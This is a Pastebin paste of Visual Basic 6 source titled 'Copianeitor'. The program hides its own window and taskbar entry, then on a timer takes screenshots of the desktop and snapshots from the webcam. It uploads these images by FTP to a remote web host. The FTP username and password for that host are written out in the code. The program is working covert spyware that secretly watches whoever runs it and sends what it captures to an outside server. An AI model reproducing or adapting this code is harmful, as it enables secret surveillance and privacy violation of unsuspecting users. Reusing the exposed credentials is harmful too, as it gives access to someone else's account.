Advertisement
Guest User

Copianeitor

a guest
May 1st, 2016
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. Dim numero As Integer
  3. Dim ruta As String
  4. Dim ret As Long
  5. Dim hCap As Long
  6.  
  7.  
  8. Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  9. Private Declare Function GetDesktopWindow Lib "user32" () As Long
  10.  
  11.  
  12. Private Declare Function DIWriteJpg Lib "DIjpg.dll" (ByVal DestPath As String, ByVal quality As Long, ByVal progressive As Long) As Long
  13.  
  14.  
  15.  
  16. Private Declare Function GetActiveWindow Lib "user32" () As Long
  17. Private Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long
  18. Private Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  19. Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
  20. Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
  21. Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long
  22. Private Type RECT
  23.         Left As Long
  24.         Top As Long
  25.         Right As Long
  26.         Bottom As Long
  27. End Type
  28. Private Type BITMAP
  29.         bmType As Long
  30.         bmWidth As Long
  31.         bmHeight As Long
  32.         bmWidthBytes As Long
  33.         bmPlanes As Integer
  34.         bmBitsPixel As Integer
  35.         bmBits As Long
  36. End Type
  37.  
  38. Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
  39. Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  40. Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
  41. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
  42.  
  43. Private Const GWL_EXSTYLE = (-20)
  44. Private Const WS_CAPTION = &HC00000
  45. Private Const WS_EX_APPWINDOW = &H40000
  46.  
  47. Private Const SWP_FRAMECHANGED = &H20
  48. Private Const SWP_NOMOVE = &H2
  49. Private Const SWP_NOSIZE = &H1
  50. Private Const SWP_NOZORDER = &H4
  51.  
  52. Const SW_HIDE = 0
  53. Const SW_SHOW = 5
  54.  
  55. Private Sub FormShowInTaskBar(Handle As Long, new_value As Boolean)
  56.  
  57. Dim style As Long
  58. style = GetWindowLong(Handle, GWL_EXSTYLE)
  59.  
  60. If new_value Then
  61.  style = style Or WS_EX_APPWINDOW
  62. Else
  63.  style = style And Not WS_EX_APPWINDOW
  64. End If
  65.  
  66. ShowWindow Handle, SW_HIDE
  67. SetWindowLong Handle, GWL_EXSTYLE, style
  68. ShowWindow Handle, SW_SHOW
  69. SetWindowPos Handle, 0, 0, 0, 0, 0, SWP_FRAMECHANGED Or SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOZORDER
  70. End Sub
  71.  
  72.  
  73. Private Sub GetShot(lWindowhWnd As Long)
  74.     Dim nLeft As Long
  75.     Dim nTop As Long
  76.     Dim nWidth As Long
  77.     Dim nHeight As Long
  78.     Dim rRect As RECT
  79.     Dim bm As BITMAP
  80.     Dim lWindowhDC As Long
  81.    
  82.     Hide
  83.     picScreen.Cls
  84.     Set picScreen.Picture = Nothing
  85.     GetWindowRect lWindowhWnd, rRect
  86.     lWindowhDC = GetWindowDC(lWindowhWnd)
  87.     '// Get coordinates
  88.    nLeft = 0
  89.     nTop = 0
  90.     nWidth = rRect.Right - rRect.Left
  91.     nHeight = rRect.Bottom - rRect.Top
  92.     '// Blt to frm.picScreen
  93.    BitBlt picScreen.hDC, 0, 0, nWidth, nHeight, lWindowhDC, nLeft, nTop, vbSrcCopy
  94.     '// Del DC
  95.    ReleaseDC lWindowhWnd, lWindowhDC
  96.     '// set picture
  97.    picScreen.Picture = picScreen.Image
  98.     Show
  99. End Sub
  100.  
  101. Private Sub Form_Load()
  102. Me.Hide
  103. App.TaskVisible = False
  104.  
  105. FormShowInTaskBar Me.hwnd, True
  106.  
  107. picScreen.Width = Screen.Width
  108. picScreen.Height = Screen.Height
  109. 'Form1.Visible = False
  110.   hCap = capCreateCaptureWindow("Take a Camera Shot", WS_CHILD Or WS_VISIBLE, 0, 0, PicWebCam.Width, PicWebCam.Height, PicWebCam.hwnd, 0)
  111.     If hCap <> 0 Then
  112.         Call SendMessage(hCap, WM_CAP_DRIVER_CONNECT, 0, 0)
  113.         Call SendMessage(hCap, WM_CAP_SET_PREVIEWRATE, 66, 0&)
  114.         Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
  115.     End If
  116.  
  117. End Sub
  118.  
  119. Private Sub Timer1_Timer()
  120. Form1.Visible = False
  121. GetShot GetDesktopWindow
  122. numero = numero + 1
  123. ruta = App.Path + "\alfa.jpg"
  124.  
  125.  
  126.  
  127.  
  128.    
  129.    
  130.  'Dim pic As StdPicture
  131.  'Const sizeX As Integer = 100, sizeY As Integer = 100
  132. 'Set pic = picScreen.Picture
  133.  ' With Picture1
  134.   '   .Width = (sizeX * Screen.TwipsPerPixelX) + .Width - .ScaleX(.ScaleWidth, .ScaleMode, vbTwips)
  135.    '  .Height = (sizeY * Screen.TwipsPerPixelY) + .Height - .ScaleY(.ScaleHeight, .ScaleMode, vbTwips)
  136.     ' .AutoRedraw = True
  137.      '.Cls
  138.      'Call .PaintPicture(pic, 0, 0, .ScaleWidth, .ScaleHeight)
  139.      '.AutoRedraw = False
  140.      'Call SavePicture(.Image, ruta)
  141.   'End With
  142.   SavePicture picScreen.Image, "c:\tmp.bmp"
  143.    ret = DIWriteJpg(ruta, 20, 1)
  144.    Kill ("c:\tmp.bmp")
  145.    
  146.     Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(False), 0&)
  147.     ruta = App.Path + "\alfa2.jpg"
  148.     Call SendMessage(hCap, WM_CAP_FILE_SAVEDIB, 0&, ByVal CStr(ruta))
  149.     Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
  150.   ' Form1.Visible = False
  151.   'Form1.WindowState = 1
  152.  
  153.    PicWebCam.Picture = LoadPicture(ruta)
  154.     SavePicture PicWebCam.Image, "c:\tmp.bmp"
  155.    ret = DIWriteJpg(ruta, 20, 1)
  156.    Kill ("c:\tmp.bmp")
  157.    
  158.    
  159.    Dim LocalPath As String
  160.  Dim RemotePath As String
  161.  
  162.  ruta = App.Path + "\alfa.jpg"
  163.  LocalPath = Chr(34) & ruta & Chr(34)
  164.  RemotePath = Chr(34) & "/public_html/prueba.jpg" & Chr(34)
  165.  
  166.  With Inet1
  167.    .AccessType = icDirect
  168.    .Protocol = icFTP
  169.  
  170.    .UserName = "a3182864"
  171.    .Password = "emaker2015"
  172.    .RemoteHost = "espaciomakerungs.site90.com"
  173.    
  174.    .Execute .URL, "PUT " & LocalPath & " " & RemotePath
  175.  
  176.    While .StillExecuting
  177.      DoEvents
  178.    Wend
  179.        
  180.    .Execute , "CLOSE"
  181.  End With
  182.  
  183.  ruta = App.Path + "\alfa2.jpg"
  184.  
  185.   LocalPath = Chr(34) & ruta & Chr(34)
  186.  RemotePath = Chr(34) & "/public_html/prueba2.jpg" & Chr(34)
  187.  
  188.   With Inet1
  189.    .AccessType = icDirect
  190.    .Protocol = icFTP
  191.  
  192.    .UserName = "-----"
  193.    .Password = "---------"
  194.    .RemoteHost = "-------------------"
  195.    
  196.    .Execute .URL, "PUT " & LocalPath & " " & RemotePath
  197.  
  198.    While .StillExecuting
  199.      DoEvents
  200.    Wend
  201.        
  202.    .Execute , "CLOSE"
  203.  End With
  204. End Sub
  205.  
  206.  
  207. ''''''MODULO''''''''''''''''''
  208. Public Const WS_CHILD As Long = &H40000000
  209. Public Const WS_VISIBLE As Long = &H10000000
  210.  
  211.  
  212. Public Const WM_USER As Long = &H400
  213. Public Const WM_CAP_START As Long = WM_USER
  214.  
  215.  
  216.  
  217. Public Const WM_CAP_DRIVER_CONNECT As Long = WM_CAP_START + 10
  218. Public Const WM_CAP_DRIVER_DISCONNECT As Long = WM_CAP_START + 11
  219. Public Const WM_CAP_SET_PREVIEW As Long = WM_CAP_START + 50
  220. Public Const WM_CAP_SET_PREVIEWRATE As Long = WM_CAP_START + 52
  221. Public Const WM_CAP_DLG_VIDEOFORMAT As Long = WM_CAP_START + 41
  222. Public Const WM_CAP_FILE_SAVEDIB As Long = WM_CAP_START + 25
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230. Public Declare Function capCreateCaptureWindow _
  231.     Lib "avicap32.dll" Alias "capCreateCaptureWindowA" _
  232.          (ByVal lpszWindowName As String, ByVal dwStyle As Long _
  233.         , ByVal x As Long, ByVal y As Long, ByVal nWidth As Long _
  234.         , ByVal nHeight As Long, ByVal hwndParent As Long _
  235.         , ByVal nID As Long) As Long
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243. Public Declare Function SendMessage Lib "user32" _
  244.     Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long _
  245.         , ByVal wParam As Long, ByRef lParam As Any) As Long
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement